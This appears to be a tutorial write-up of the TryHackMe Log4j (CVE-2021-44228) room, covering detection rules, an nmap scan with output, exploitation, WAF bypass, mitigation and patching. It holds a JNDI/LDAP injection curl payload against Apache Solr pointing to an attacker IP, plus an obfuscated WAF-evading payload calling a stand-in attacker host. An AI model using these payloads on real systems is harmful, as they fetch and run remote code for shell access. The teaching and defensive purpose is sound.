We demonstrated the detection and discovery of the recent Apache Log4j Vulnerability CVE-2021-44228 in addition to exploitation, mitigation and patching. We also covered how to patch and mitigate the Log4j vulnerability using Apache newly released guidelines. We used the material from TryHackMe Log4j room to demonstrate the Log4j on Apache Solar.
Affected versions : Apache Log4j2 < 2.15.0
Log4j has negative impact on many manufacturers and components among which are Google and Apple. You can find the full list here
How to detect Log4j Vulnerability
Log4j can be detected by doing a regular scan on your network that runs components using Java. There many ways to detect and find if your network is vulnerable to Log4j.
- Using Yara Rules
- Using Splunk Signatures
You can use this search query to look for any payload containing a JNDI lookup index=* ${jndi:*}
- Using Suricate Rules
Example is below
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4J RCE Request Observed (CVE-2021-44228)”; flow:established, to_server; content:”${jndi:ldap://”; fast_pattern:only; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003726; rev:1;)
- By comparing hashes of vulnerable JAR and Class files with the list here
- Using online scanners in python or Go
- Using Burp Suite
- Using Nmap Scripting Engine.
Example of using Nmap to detect Log4j is the below command
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
$PWD: is the directory where you store nmap scriptsIts important to read the dnslog.cn after you finish the scan to determine the vulnerability. Example output is below thanks to Diverto
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
How to Exploit Log4j Vulnerability
In summary, Exploitation of Log4j vulnerability is achieved by making the target issue an LDAP callout to an LDAP referral server on your end. The LDAP referral server will redirect this call to a web server that must be running on your end which will server a Java exploit that once executed on the target will get the attacker shell access on the target.
The below are payloads you can add to your http requests.
curl ‘http://target-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://your-ip:1389/Log4j\}’
The payload above assuming you are testing Apache solr. If you are testing another product line of Apache you need to change the URL path but the payload part stays the same.
How to bypass Web Application Firewalls
If you want to test your existing security controls against Log4j, then you can encode your Log4j payload such as the below payload
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
How to Mitigate and Patch The Log4j Vulnerability
Mitigation of Log4j vulnerability can be accomplished by adding two system properties that disable JNDI Lookups. Specifically set the below properties to TRUE
log4j2.formatMsgNoLookups
LOG4J_FORMAT_MSG_NO_LOOKUPS
To patch against Log4j Vulnerability, update to version 2.16.0. Replace the core jar files the existing jar files on your system. Visit Apache download page to retrieve the latest version of Log4j.
For more details on the above, watch the below walk-through videos
